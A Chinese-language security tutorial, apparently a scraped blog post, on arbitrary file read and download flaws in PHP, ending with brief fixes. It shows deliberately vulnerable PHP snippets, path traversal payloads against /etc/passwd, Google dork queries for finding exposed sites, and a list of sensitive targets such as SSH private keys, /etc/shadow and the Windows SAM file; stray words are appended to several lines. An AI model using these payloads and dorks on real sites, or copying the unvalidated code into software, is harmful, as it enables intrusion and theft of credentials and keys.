漏洞介紹php
一些網站因爲業務需求,可能提供文件查看或下載的功能,若是對用戶查看或下載的文件不作限制,則惡意用戶mysql
就可以查看或下載任意的文件,能夠是源代碼文件、敏感文件等。web
利用條件sql
*存在讀文件的函數
*讀取文件的路徑用戶可控且未校驗或校驗不嚴
*輸出了文件內容bash
漏洞危害服務器
下載服務器任意文件,如腳本代碼,服務及系統配置文件等
可用獲得的代碼進一步代碼審計,獲得更多可利用漏洞 ssh
任意文件讀取函數
代碼形式以下幾種:
<?php
$filename = "test.txt";
readfile($filename); ?>
<?php
$filename = "test.txt";
$fp = fopen($filename,"r") or die("Unable to open file!");
$data = fread($fp,filesize($filename));
fclose($fp);
?>
<?php
$filename = "test.txt";
echo file_get_contents($filename);
?>
<?php
$filename = $_GET['f'];
echo file_get_contents($filename);
?>
###$filename沒有通過校驗,或者校驗不嚴格,用戶可控制這個變量讀取任意的文件。好比:/etc/passwd,
./index.php等等網站
任意文件下載url
直接下載:
<a href=「http://www.xxxx.com/xxx.rar」>??</a>
用header()下載:
<?php
$filename = $_GET['f'];
header('Content-Type:image/gif');
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Length: '.filesize($filename));
readfile($filename); ?>
###$filename沒有通過校驗,或者校驗不嚴格,用戶可控制這個變量讀取任意的文件。好比:/etc/passwd,
./index.php等等
漏洞利用代碼
readfile.php?file=/etc/passwd
readfile.php?file=../../../../../../../../etc/passwd
readfile.php?file=../../../../../../../../etc/passwd%00
Google search
inurl:"readfile.php?file="
inurl:"read.php?file="
inurl:"download.php?file="
inurl:"down.php?file="
漏洞挖掘
能夠用Google hacking或web漏洞掃描器
從連接上看,形如:
readfile.php?file=***.txt
download.php?file=***.rar
從參數名看,形如:
&RealPath=
&FilePath=
&filepath=
&Path=
&path=
&inputFile=
&url=
&urls=
&Lang=
&data=
&readfile=
&filep=
&src=
&menu=
META-INF
WEB-INF
敏感文件
Windows:
C:\boot.ini
C:\Windows\System32\inetsrv\MetaBase.xml
C:\Windows\repair\sam //存儲系統初次安裝的密碼
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Fiels\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Winsows\my.ini //mysql配置信息
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_hstory
/proc/self/fd/fd[0-9]*(文件標識符)
/proc/mounts
/proc/config.gz
漏洞驗證
index.php?f=../../../../../../../etc/passwd
index.php?f=../index.php
index.php?f=file:///etc/passwd
注:當參數f的參數值爲php文件時,如果文件被解析則是文件包含漏洞,
若顯示源碼或提示下載則是文件查看與下載漏洞
修復方案
過濾點(.)使用戶在url中不能回溯上級目錄正則嚴格判斷用戶輸入參數的格式php.ini 配置open_basedir限定文件訪問範圍